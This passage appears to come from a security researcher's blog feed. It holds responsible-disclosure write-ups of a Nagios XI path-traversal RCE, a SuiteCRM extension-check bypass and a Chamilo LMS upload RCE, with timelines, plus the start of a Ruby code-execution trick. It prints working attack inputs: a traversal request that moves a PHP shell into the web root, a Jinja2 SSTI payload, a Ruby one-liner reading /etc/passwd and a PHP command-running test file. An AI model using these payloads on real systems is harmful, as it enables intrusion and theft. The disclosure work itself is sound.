drwsrwsr-x  3 www-data nagios 4.0K Nov  3 18:31 tmp
drwxr-xr-x  2 root     nagios 4.0K Oct 27 14:30 tools
drwxrwxr-x  7 nagios   nagios 4.0K Nov  3 21:14 var
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/usr/local/nagiosxi/html</code> is only writable by <code class="language-plaintext highlighter-rouge">root</code>, however multiple subfolders are writable by the <code class="language-plaintext highlighter-rouge">nagios</code> user, which is what this command runs as as we’ll see later:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ls -lah /usr/local/nagiosxi/html/
total 1.2M
drwxr-xr-x 21 root   nagios 4.0K Nov  3 14:25 .
drwxr-xr-x 10 root   nagios 4.0K Oct 27 14:30 ..
drwxr-xr-x  2 nagios nagios 4.0K Oct 27 14:30 about
drwxr-xr-x  2 nagios nagios 4.0K Oct 27 14:30 account
drwxr-xr-x  2 nagios nagios 4.0K Oct 27 14:30 admin
...Omitted for brevity...
-rwxr-xr--  1 nagios nagios  12K Oct 27 14:30 suggest.php
-rw-r--r--  1 root   root     69 Oct 27 16:04 test2.php
-rw-r--r--  1 root   root    774 Oct 27 15:59 test.php
drwxr-xr-x  2 nagios nagios 4.0K Nov  3 19:45 tools
drwxr-xr-x  3 nagios nagios 4.0K Oct 27 14:30 ui
-rwxr-xr--  1 nagios nagios 107K Oct 27 14:30 upgrade.php
drwxr-xr-x  2 nagios nagios 4.0K Oct 27 14:30 views
</code></pre></div></div>

<p>We choose <code class="language-plaintext highlighter-rouge">/usr/local/nagiosxi/html/tools/</code> and move into exploring potential ways to get the uploaded PHP file into that directory.</p>

<p>Inside <code class="language-plaintext highlighter-rouge">/admin/coreconfigsnapshots.php</code>, multiple actions are available:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function route_request()
{
    global $request;

    if (isset($request["download"])) {
        do_download();
    } else if (isset($request["view"])) {
        do_view();
    } else if (isset($request["viewdiff"])) {
        $ts = grab_request_var('viewdiff', '');
        show_ccm_file_changes($ts);
    } else if (isset($request["currentdiff"])) {
        $ts = grab_request_var('currentdiff', '');
        $archive = grab_request_var('archive', 0);
        show_ccm_file_changes($ts, true, $archive);
    } else if (isset($request["delete"])) {
        do_delete();
    } else if (isset($request["doarchive"])) {
        do_archive();
    } else if (isset($request["restore"])) {
        do_restore();
    } else if (isset($request["rename"])) {
        do_rename();
    }

    show_log();
}
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">route_request()</code> function is responsible for mapping requests based on parameters set. In this case, we are interested in the <code class="language-plaintext highlighter-rouge">rename</code> parameter, which if set routes the request to the <code class="language-plaintext highlighter-rouge">do_rename()</code> function, which is defined on line 609:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function do_rename()
{

    $ts = grab_request_var("rename", "");
    $file = grab_request_var("file", "");
    $new_name = grab_request_var("new_name", "");
    $cancel = grab_request_var("cancel", 0);

    // Get actual name
    $name = sprintf(_('Snapshot %s'), $ts);
    if (strpos($file, '.') !== false) {
        $name = substr($file, 0, strpos($file, '.'));
    }

    if ($ts == '' || $file == '' || $cancel) {
        return;
    }

    if (!$new_name) {
...Omitted for brevity...
        &lt;?php
        do_page_end(true);
        exit();

    } else {

        //
        // RENAME THE ARCHIVED SNAPSHOT
        //

        // Actually set the name!
        $command_data = array();
        $command_data[0] = str_replace(".tar.gz", "", $file);
        $command_data[1] = $new_name . "." . $ts;
        $command_data = serialize($command_data);

        // Send command to the subsystem
        $id = submit_command(COMMAND_RENAME_ARCHIVE_SNAPSHOT, $command_data);

        if ($id &lt;= 0) {
...Omitted for brevity...
</code></pre></div></div>

<p>Three variables are set: <code class="language-plaintext highlighter-rouge">rename</code> -&gt; <code class="language-plaintext highlighter-rouge">$ts</code>, <code class="language-plaintext highlighter-rouge">file</code> -&gt; <code class="language-plaintext highlighter-rouge">$file</code>, and <code class="language-plaintext highlighter-rouge">new_name</code> -&gt; <code class="language-plaintext highlighter-rouge">$new_name</code>. First, the name of the file minus the extension is retrieved from the <code class="language-plaintext highlighter-rouge">$file</code> parameter. Next, payload used to execute the shell command is created as an array <code class="language-plaintext highlighter-rouge">$command_data[]</code>. We can see <code class="language-plaintext highlighter-rouge">$command[0]</code> is the value of <code class="language-plaintext highlighter-rouge">$file</code> with the substring <code class="language-plaintext highlighter-rouge">.tar.gz</code> removed. We can also see <code class="language-plaintext highlighter-rouge">$command_data[1]</code> is set to <code class="language-plaintext highlighter-rouge">$new_name . $ts</code>, therefore the <code class="language-plaintext highlighter-rouge">rename</code> parameter ultimately ends up being the extension type.</p>

<p>Finally, this array is passed to <code class="language-plaintext highlighter-rouge">serialize()</code> and then passed to the <code class="language-plaintext highlighter-rouge">submit_command()</code> function. This function is located within a source protected file, therefore the tool <a href="https://github.com/DominicBreuker/pspy">pspy</a> was leveraged to observe shell commands executed.</p>

<p>When submitting a command such as the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://192.168.122.248/nagiosxi/admin/coreconfigsnapshots.php?rename=php&amp;file=../../../../../../../../../../../../../../usr/share/snmp/mibs/shell&amp;new_name=/../../../../../../../../../usr/local/nagiosxi/html/tools/shell
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">pspy</code> output showed the following <code class="language-plaintext highlighter-rouge">mv</code> command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024/11/03 19:41:07 CMD: UID=1001  PID=142674 | mv /usr/local/nagiosxi/nom/checkpoints/nagioscore//archives/../../../../../../../../../../../../../../usr/share/snmp/mibs/shell.txt /usr/local/nagiosxi/nom/checkpoints/nagioscore//archives//../../../../../../../../../usr/local/nagiosxi/html/tools/shell.php.txt 
2024/11/03 19:41:07 CMD: UID=1001  PID=142675 | mv /usr/local/nagiosxi/nom/checkpoints/nagioscore//archives/../../../../../../../../../../../../../../usr/share/snmp/mibs/shell /usr/local/nagiosxi/nom/checkpoints/nagioscore//archives//../../../../../../../../../usr/local/nagiosxi/html/tools/shell.php 
2024/11/03 19:41:07 CMD: UID=1001  PID=142676 | mv /usr/local/nagiosxi/nom/checkpoints/nagioscore//../nagiosxi/archives/../../../../../../../../../../../../../../usr/share/snmp/mibs/shell_nagiosql.sql.gz /usr/local/nagiosxi/nom/checkpoints/nagioscore//../nagiosxi/archives//../../../../../../../../../usr/local/nagiosxi/html/tools/shell.php_nagiosql.sql.gz 
</code></pre></div></div>
<p>The second command is responsible for moving the <code class="language-plaintext highlighter-rouge">shell</code> file from <code class="language-plaintext highlighter-rouge">usr/share/snmp/mibs/shell</code> to <code class="language-plaintext highlighter-rouge">/usr/local/nagiosxi/html/tools/shell.php</code> due to the directory traversal sequences in <code class="language-plaintext highlighter-rouge">file</code> and <code class="language-plaintext highlighter-rouge">new_name</code>, and control of the file extension via the <code class="language-plaintext highlighter-rouge">rename</code> parameter.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>I would have done curl commands, however the <code class="language-plaintext highlighter-rouge">nsp</code> variable being required in POST requests made it a little more complicated…</p>

<p>The following script can be used to prove the vulnerability out using the following format (it is overly verbose for assistance in identifying/remediating the vulnerability):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 exploit.py http://192.168.122.248/nagiosxi/ nagiosadmin 'Passw0rd!' 'id'
[*] Making upload POST request to http://192.168.122.248/nagiosxi/admin/mibs.php
[+] Seems like upload worked
[*] Making snapshot move GET request to http://192.168.122.248/nagiosxi/admin/coreconfigsnapshots.php
[+] Seems like file move worked!
[*] Making shell request to http://192.168.122.248/nagiosxi/tools/shell.php
[*] Output
uid=33(www-data) gid=33(www-data) groups=33(www-data),114(Debian-snmp),1001(nagios),1002(nagcmd)
</code></pre></div></div>
<h3 id="exploit-source">Exploit source</h3>
<p>The python script above <code class="language-plaintext highlighter-rouge">exploit.py</code> is available here: <a href="/exploits/nagios_path-traversal_rce.txt">nagios_path-traversal_rce.txt</a></p>

<h2 id="conclusion">Conclusion</h2>

<p>It’s been a while since I found/reported something, so this was a fun one to get back in the saddle. I really enjoy stuff where it takes stringing a couple issues together to get impact!</p>

<p>I also reported a SQL injection three days later, however it apparently was a duplicate report and patched in the release three days after my report, so nice work to whomever found it!</p>

<h2 id="references">References</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">https://www.nagios.com/changelog/</code></li>
  <li><code class="language-plaintext highlighter-rouge">https://www.nagios.com/products/security/</code></li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Date</th>
      <th style="text-align: center">Update</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><strong>03NOV2024</strong></td>
      <td style="text-align: center">Issue reported to security@nagios.com</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>05NOV2024</strong></td>
      <td style="text-align: center">Receipt of vulnerabilities acknowledged by Nagios</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>06DEC2024</strong></td>
      <td style="text-align: center">Requested update on vulnerabilities</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>06DEC2024</strong></td>
      <td style="text-align: center">Nagios replies to notify that fixes will be relased and requested two weeks after patching before public disclosure of vulnerabilities</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>12DEC2024</strong></td>
      <td style="text-align: center">Observed updates released at <code class="language-plaintext highlighter-rouge">https://www.nagios.com/changelog/</code></td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>12DEC2024</strong></td>
      <td style="text-align: center">I requested a CVE for this issue via <code class="language-plaintext highlighter-rouge">https://cveform.mitre.org/</code></td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>06JAN2025</strong></td>
      <td style="text-align: center">Confirmed with Nagios that public disclosure was in good faith with the elapsed time</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>06JAN2025</strong></td>
      <td style="text-align: center">Nagios confirms full disclosure is OK</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>07JAN2025</strong></td>
      <td style="text-align: center">This article is published. CVE is still pending</td>
    </tr>
    <tr>
      <td style="text-align: center"><strong>28AUG2025</strong></td>
      <td style="text-align: center">CVE-2024-13986 issued via request from <a href="https://www.vulncheck.com/">VulnCheck</a></td>
    </tr>
  </tbody>
</table>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[Overview I recently noticed quite a few folks recently looked at Nagios XI. Some even pulled the obfuscated stuff apart which I thought was really awesome! I still need to wrap my head around that and actually try it sometime. For these vulns, I stuck to the plainly visible stuff along with some help from one of my favorite tools pspy.]]></summary></entry><entry><title type="html">CVE-2021-42840 SuiteCRM RCE Log File Extension 2</title><link href="https://theyhack.me/CVE-2021-42840-SuiteCRM-RCE-2/" rel="alternate" type="text/html" title="CVE-2021-42840 SuiteCRM RCE Log File Extension 2" /><published>2021-05-20T00:00:00+00:00</published><updated>2021-05-20T00:00:00+00:00</updated><id>https://theyhack.me/CVE-2021-42840-SuiteCRM-RCE-2</id><content type="html" xml:base="https://theyhack.me/CVE-2021-42840-SuiteCRM-RCE-2/"><![CDATA[<h3 id="cve-2021-42840">CVE-2021-42840</h3>
<p>This one will be a bit short, since severity/impact/video/etc is all identical to <a href="/CVE-2020-28320-SuiteCRM-RCE/">my post on the previous SuiteCRM RCE</a>.</p>

<p>Metasploit module: <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/suitecrm_log_file_rce.rb">suitecrm_log_file_rce.rb</a></p>

<p>During remediation testing of <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28328">CVE-2020-28328</a> I dug a bit deeper and found another bypass for file extensions that was so simple, I’m a bit embarrassed I didn’t spot it on the first go.</p>
<h2 id="technical-details">Technical details</h2>
<p>So, once the previous fix was released, I obviously wanted to check out what they did.</p>

<p><a href="https://github.com/salesagility/SuiteCRM/commit/1618af16eaa494c4551bac961e5ac8fc3d87ab8c#diff-e9704a2002d127cd455e1eb0507042080bb79d362091e770803ff69a31139d0f">The Fix for CVE-2020-28328</a>, which can be found in my previous post as well.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if ($value === '') {
    $GLOBALS['log']-&gt;security("Log file extension can't be blank.");
    continue;
}
</code></pre></div></div>
<p>So, now the log file extension can’t be blank. ezpz. Well… There is another little hole in the equation, though I’m sure some of the ninjas reading this post can probably find even more.</p>

<p>I looked down a few lines and <code class="language-plaintext highlighter-rouge">config['upload_badext']</code> caught my eye on <a href="https://github.com/salesagility/SuiteCRM/blob/1618af16eaa494c4551bac961e5ac8fc3d87ab8c/modules/Configurator/Configurator.php#L86">line 86</a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$trim_value = preg_replace('/.*\.([^\.]+)$/', '\1', $value);
if (in_array($trim_value, $this-&gt;config['upload_badext'])) {
    $GLOBALS['log']-&gt;security("Invalid log file extension: trying to use invalid file extension '$value'.");
    continue;
}
</code></pre></div></div>
<p>I wondered what was in that array… So, I used the trusty search feature in GitHub and searched <code class="language-plaintext highlighter-rouge">upload_badext</code> and a few results down, I see a promising code snippet in <a href="https://github.com/salesagility/SuiteCRM/blob/d57e91389d97791fe621d811f03fe05f8f5a7f78/install/download_modules.php#L60">download_modules.php</a> on line 60 under the <code class="language-plaintext highlighter-rouge">/install/</code> directory.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if (empty($sugar_config['upload_badext'])) {
    $sugar_config['upload_badext'] = array('php', 'php3', 'php4', 'php5', 'pl', 'cgi', 'py', 'asp', 'cfm', 'js', 'vbs', 'html', 'htm');
}
</code></pre></div></div>
<p>The key thing to note here is that the user input was never converted to lower-case before being compared to the values in that array. So, if you use something like <code class="language-plaintext highlighter-rouge">.pHp</code> for the <code class="language-plaintext highlighter-rouge">logger_file_ext</code> value, you can perform the exact same attack I outlined in <a href="/CVE-2020-28320-SuiteCRM-RCE/">my previous post</a> (or if you just want the exploit, <a href="https://www.exploit-db.com/exploits/49001">EDB-49001</a>).</p>

<p>I know… I can’t believe I didn’t check for this before. I feel so silly…</p>

<p><a href="https://github.com/salesagility/SuiteCRM/blob/9cb957e4f41562eb44f6ce8c982e2a3c169fc951/modules/Configurator/Configurator.php#L103">The new fix</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$badext = array_map('strtolower', $this-&gt;config['upload_badext']);
if (in_array(strtolower($trim_value), $badext)) {
    $GLOBALS['log']-&gt;security("Invalid log file extension: trying to use invalid file extension '$value'.");
    continue;
}
</code></pre></div></div>
<p>So you can see now that they now coonvert all the “bad extensions” from the config to lowercase, as well as the incoming extension.</p>

<p>So anyways, another point goes to testing fixes. Even if they did fix the original issue, maybe you overlooked something super simple and you find another bug!</p>

<h2 id="timeline">Timeline</h2>
<p><strong>[06 NOV 2020] :</strong> Issue reported to security@suitecrm.com<br />
<strong>[13 NOV 2020] :</strong> Issue verified by SuiteCRM 
<strong>[28 APR 2021] :</strong> Version 7.11.19 released with fix<br />
<strong>[18 MAY 2021] :</strong> Email SuiteCRM to request status of CVE ID<br />
<strong>[20 MAY 2021] :</strong> This article published<br />
<strong>[21 MAY 2021] :</strong> Email SuiteCRM to request status of CVE ID<br />
<strong>[21 MAY 2021] :</strong> SuiteCRM replies CVE is still pending<br />
<strong>[22 MAY 2021] :</strong> Metasploit module submitted: <a href="https://github.com/rapid7/metasploit-framework/pull/15231">pull request</a><br />
<strong>[03 JUN 2021] :</strong> Metasploit module merged into <code class="language-plaintext highlighter-rouge">rapid7:master</code>: <a href="https://github.com/rapid7/metasploit-framework/commit/8b737c2c609fa72651c65b7705bccd6a988ffa1a">commit</a></p>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[CVE-2021-42840 This one will be a bit short, since severity/impact/video/etc is all identical to my post on the previous SuiteCRM RCE.]]></summary></entry><entry><title type="html">CVE-2021-31933 Chamilo LMS File Upload RCE</title><link href="https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/" rel="alternate" type="text/html" title="CVE-2021-31933 Chamilo LMS File Upload RCE" /><published>2021-04-21T00:00:00+00:00</published><updated>2021-04-21T00:00:00+00:00</updated><id>https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE</id><content type="html" xml:base="https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/"><![CDATA[<h3 id="path-traversal-in-file-upload-leads-to-remote-code-execution-in-chamilo-lms">Path traversal in File Upload leads to Remote Code Execution in Chamilo LMS</h3>
<h2 id="overview">Overview</h2>
<p>It’s been a bit since I spent some time looking for a web vuln… And this one was a great one to come back to.<br />
This vulnerability allowed me to use a feature (which I later found was not needed any longer) that I found just by browsing the file system in the web root looking for interesting files. I identified a file named <code class="language-plaintext highlighter-rouge">/main/upload/upload.php</code> and started tampering with it. Through source code review, I identified a parameter that did not check user input which allowed me to specify any location on the file system through <a href="https://cwe.mitre.org/data/definitions/23.html">directory traversal</a>. I could then upload to any location on the file system where the user running the web server process could write to.</p>

<p>Since I had complete control over the contents of the file, I next located a few places in the web root where I could write files (most directories were owned by root and restricted to <code class="language-plaintext highlighter-rouge">root:root</code> for writing, so I had limited options). One of them was not protected by the included <code class="language-plaintext highlighter-rouge">.htaccess</code> file, so that was a candidate for code execution.</p>

<p>The last hurdle was bypassing the <code class="language-plaintext highlighter-rouge">php2phps()</code> function that would rename <code class="language-plaintext highlighter-rouge">php</code> files and <a href="https://book.hacktricks.xyz/pentesting-web/file-upload">many of the variations</a> to <code class="language-plaintext highlighter-rouge">phps</code>. However, <code class="language-plaintext highlighter-rouge">phar</code> was not renamed which enabled me to upload arbitrary php code and execute it as <code class="language-plaintext highlighter-rouge">shell.phar</code>.</p>

<p>I then had all of the pieces to achieve remote code execution from the perspective of an authenticated administrative user and was able to get a reverse shell as the <code class="language-plaintext highlighter-rouge">www-data</code> user. Shortly after, I wrote a full Proof of Concept in python and submitted a detailed report to security@chamilo.org, which I located through their <a href="https://support.chamilo.org/projects/1/wiki/Security_issues">security issues</a> wiki page.</p>

<p>Chamilo was, by far, the most responsive organization I have ever dealt with for disclosing a vulnerability. Other organizations should view them as a model of how to handle a vulnerability being responsibly disclosed. Within two hours of me sending the report(at ~06:30 AM), they already had two patches <a href="https://github.com/chamilo/chamilo-lms/commit/f65d065061a77bb2e84f73217079ce3998cf3453">pushed to GitHub</a> and requested that I test them.</p>
<h2 id="environment">Environment</h2>
<h3 id="operating-system">Operating System</h3>
<p>Ubuntu Server <code class="language-plaintext highlighter-rouge">20.04.2 LTS (Focal Fossa)</code></p>
<h3 id="web-server">Web server</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Server version: Apache/2.4.41 (Ubuntu)
Server built: 2020-08-12T19:46:17
</code></pre></div></div>
<h3 id="chamilo-branch">Chamilo Branch</h3>
<p><a href="https://github.com/chamilo/chamilo-lms/tree/b17b552e76e1c3b781a6a42c471a647d4e9b9f90">https://github.com/chamilo/chamilo-lms/tree/b17b552e76e1c3b781a6a42c471a647d4e9b9f90</a></p>
<h2 id="technical-details">Technical Details</h2>
<h3 id="directory-traversal---file-upload">Directory Traversal - File Upload</h3>
<p>I discovered this through source code analysis while hunting for interesting files. I came across <code class="language-plaintext highlighter-rouge">/main/upload/index.php</code> and identified a parameter <code class="language-plaintext highlighter-rouge">curdirpath</code> that was not sufficiently sanitized.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if (isset($_POST['curdirpath'])) {
    $path = Security::remove_XSS($_POST['curdirpath']);
} else {
    $path = '/';
}
</code></pre></div></div>
<p><a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/main/upload/upload.document.php#L22">/main/upload/upload.document.php#L22</a></p>

<p>From there, the input is passed through <code class="language-plaintext highlighter-rouge">remove_XSS()</code> located here:
<a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/main/inc/lib/security.lib.php#L303">/main/inc/lib/security.lib.php#L303</a></p>

<p>This originally tipped me off, but if you look further down on <code class="language-plaintext highlighter-rouge">upload.document.php</code>, you’ll see that <code class="language-plaintext highlighter-rouge">curdirpath</code> is passed directly to <code class="language-plaintext highlighter-rouge">handle_uploaded_document()</code>, which resides in <code class="language-plaintext highlighter-rouge">fileUpload.lib.php</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        $new_path = handle_uploaded_document(
            $_course,
            $_FILES['user_upload'],
            $base_work_dir,
            $_POST['curdirpath'],
            api_get_user_id(),
            api_get_group_id(),
            $to_user_id,
            $_POST['unzip'],
            $_POST['if_exists']
        );
</code></pre></div></div>
<p><a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/main/upload/upload.document.php#L53">/main/upload/upload.document.php#L53</a></p>

<p>So, that other stuff didn’t even matter, but it was enough to get me to see what happened if I posted <code class="language-plaintext highlighter-rouge">../../../../../../../tmp/</code> for curdirpath. XD</p>

<p>To continue, <code class="language-plaintext highlighter-rouge">handle_uploaded_document()</code> does a lot of stuff… <code class="language-plaintext highlighter-rouge">curdirpath</code> is passed in as the argument <code class="language-plaintext highlighter-rouge">$uploadPath</code>. The important thing is that there is no validation of the input prior to utilization here:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$whereToSave = $documentDir.$uploadPath;
</code></pre></div></div>
<p><a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/main/inc/lib/fileUpload.lib.php#L318">/main/inc/lib/fileUpload.lib.php#L318</a></p>

<p>It is verified that the file exists and is a directory, or if it doesn’t, then create the directory.<br />
Then, after the filename is sanitized, <code class="language-plaintext highlighter-rouge">$whereToSave</code> is used in combination with <code class="language-plaintext highlighter-rouge">$fileSystemName</code> to create the variable <code class="language-plaintext highlighter-rouge">$fullPath</code>. Still, with no checking of the original value input through <code class="language-plaintext highlighter-rouge">curdirpath</code>. <code class="language-plaintext highlighter-rouge">$filepath</code> is also created using the original unchecked <code class="language-plaintext highlighter-rouge">curdirpath</code> value.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$fullPath = $whereToSave.$fileSystemName;

 // Example: /folder/picture.jpg
  $filePath = $uploadPath.$fileSystemName;
</code></pre></div></div>
<p>Then a <code class="language-plaintext highlighter-rouge">switch</code> statement determines whether to overwrite or rename based on whether or not the file already exists. For the video demo I do overwrite, but for the POC, I just leave the selection blank because it defaults to only save if the file doesn’t exist. That’s fine, because I generate a random name that <em>probably</em> doesn’t exist. The logic is pretty simple on how the file is put in place.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if (moveUploadedFile($uploadedFile, $fullPath)) {
    chmod($fullPath, $filePermissions);
</code></pre></div></div>
<p><a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/main/inc/lib/fileUpload.lib.php#L386">/main/inc/lib/fileUpload.lib.php#L386</a></p>

<p>Long story short here</p>
<ul>
  <li>Reading other peoples’ code is hard</li>
  <li>Test your assumptions</li>
</ul>

<h3 id="inadequate-file-name-sanitization">Inadequate File Name Sanitization</h3>
<p>Chamilo sanitizes the filename using the <code class="language-plaintext highlighter-rouge">php2phps()</code> function, which essentially uses regex to detect the usual suspects (php[234567], phtml) and changes the filename to <code class="language-plaintext highlighter-rouge">.phps</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>function php2phps($file_name)
{
    return preg_replace('/\.(php.?|phtml.?)(\.){0,1}.*$/i', '.phps', $file_name);
}
</code></pre></div></div>
<p><a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/main/inc/lib/fileUpload.lib.php#L25">/main/inc/lib/fileUpload.lib.php#L25</a></p>

<p>This is called through another function <code class="language-plaintext highlighter-rouge">disable_dangerous_file()</code> here: <a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/main/inc/lib/fileUpload.lib.php#L300">/main/inc/lib/fileUpload.lib.php#L300</a></p>

<p>The important catch, they forgot about <code class="language-plaintext highlighter-rouge">.phar</code> file types, which execute php code if you visit them in browser. So, that was my filetype of choice to upload.
 ### Finding a Place to Upload that will Execute
 Chamilo uses an <a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/.htaccess">.htaccess</a> file to return a <code class="language-plaintext highlighter-rouge">403</code> if the user tries to access a specific file type in specific directories. Ideally, these conditions cover areas where the web server user <code class="language-plaintext highlighter-rouge">www-data</code> has write access. This is a good idea in the event that a user finds a flaw and is able to upload php files.</p>

<p>I found that most of the directories are owned by root. So, I did a <code class="language-plaintext highlighter-rouge">find /var/www/html/chamilo-lms -type d -owner www-data 2&gt;/dev/null</code> to find all of the directories the web server user owned. One that stood out to me was the <code class="language-plaintext highlighter-rouge">/web/</code> directory, as it was owned by <code class="language-plaintext highlighter-rouge">www-data</code>, but only the <code class="language-plaintext highlighter-rouge">/web/css/</code> directory was protected by the htaccess file.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> # Prevent execution of PHP from directories used for different types of uploads
RedirectMatch 403 ^/app/(?!courses/proxy)(cache|courses|home|logs|upload|Resources/public/css)/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/default_course_document/images/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/lang/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/web/css/.*\.ph(p[3457]?|t|tml|ar)$
</code></pre></div></div>
<p><a href="https://github.com/chamilo/chamilo-lms/blob/b17b552e76e1c3b781a6a42c471a647d4e9b9f90/.htaccess#L11">.htaccess#L11</a></p>

<p>So, I generally just test this via a shell on the system:<br />
<code class="language-plaintext highlighter-rouge">echo '&lt;?php echo `id`;?&gt;' &gt; test.php</code><br />
And visit it in browser to see if you get the output of the <code class="language-plaintext highlighter-rouge">id</code> command. I found that this worked, so I knew I had a good place to upload a file.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>
<h3 id="video">Video</h3>
<p>Next, I gave it a shot. This was my manual exploitation methodology.</p>
<figure class="image">
    <img src="/assets/images/chamilo-poc.gif" width="60%" />
</figure>
<p>Video here: <a href="/assets/videos/chamilo-poc.mp4">chamilo-poc.mp4</a></p>

<h3 id="exploit-source">Exploit source</h3>
<p><a href="/exploits/chamilo-rce.txt">CVE-2021-31933.py</a><br />
<a href="https://www.exploit-db.com/exploits/49867">EDB-49867</a></p>
<h2 id="timeline">Timeline</h2>
<p><strong>[19 APR 2021 06:49] :</strong> Initial report sent to security@chamilo.org<br />
<strong>[19 APR 2021 09:08] :</strong> Response received from Chamilo with two patches to test<br />
<strong>[19 APR 2021 20:45] :</strong> I confirmed the patches addressed the issues<br />
<strong>[28 APR 2021 ]</strong> Issue disclosed via <a href="https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-48-2021-04-17-Critical-impact-high-risk-Remote-Code-Execution">Chamilo Security Issues</a> page. They requested that I wait until after 12 MAY 2021 to disclose in order to give users a chance to patch. I was happy to do so.<br />
<strong>[30 APR 2021] :</strong> <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-31933">CVE-2021-31933</a> assigned<br />
<strong>[13 MAY 2021] :</strong> This writeup is released.</p>]]></content><author><name>M. Cory Billington</name></author><summary type="html"><![CDATA[Path traversal in File Upload leads to Remote Code Execution in Chamilo LMS Overview It’s been a bit since I spent some time looking for a web vuln… And this one was a great one to come back to. This vulnerability allowed me to use a feature (which I later found was not needed any longer) that I found just by browsing the file system in the web root looking for interesting files. I identified a file named /main/upload/upload.php and started tampering with it. Through source code review, I identified a parameter that did not check user input which allowed me to specify any location on the file system through directory traversal. I could then upload to any location on the file system where the user running the web server process could write to.]]></summary></entry><entry><title type="html">Using Ruby ancestors to Execute Code via the String class</title><link href="https://theyhack.me/Ruby-Ancestors/" rel="alternate" type="text/html" title="Using Ruby ancestors to Execute Code via the String class" /><published>2020-11-22T00:00:00+00:00</published><updated>2020-11-22T00:00:00+00:00</updated><id>https://theyhack.me/Ruby-Ancestors</id><content type="html" xml:base="https://theyhack.me/Ruby-Ancestors/"><![CDATA[<h2 id="tldroneliner">tldr/oneliner</h2>
<p><code class="language-plaintext highlighter-rouge">ruby -e '"".class.ancestors[3].system("cat /etc/passwd")'</code></p>
<h2 id="why">Why?</h2>
<p>So I was doing a bit of reading on <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection">SSTI</a>, specifically that of <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---remote-code-execution">Jinja/python</a> which looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
</code></pre></div></div>

<p>For an explanation on how these work in python, I recommend checking out <a href="https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee">this writeup</a>. Essentially, it made me wonder if you could do the same thing in ruby, and you definitely can (at least the accessing other methods part). No pwnz yet from me (though I can’t be the first to think of this, so it may be a nothingburger, or just a cool trick)</p>
<h2 id="how-it-works">How it works</h2>
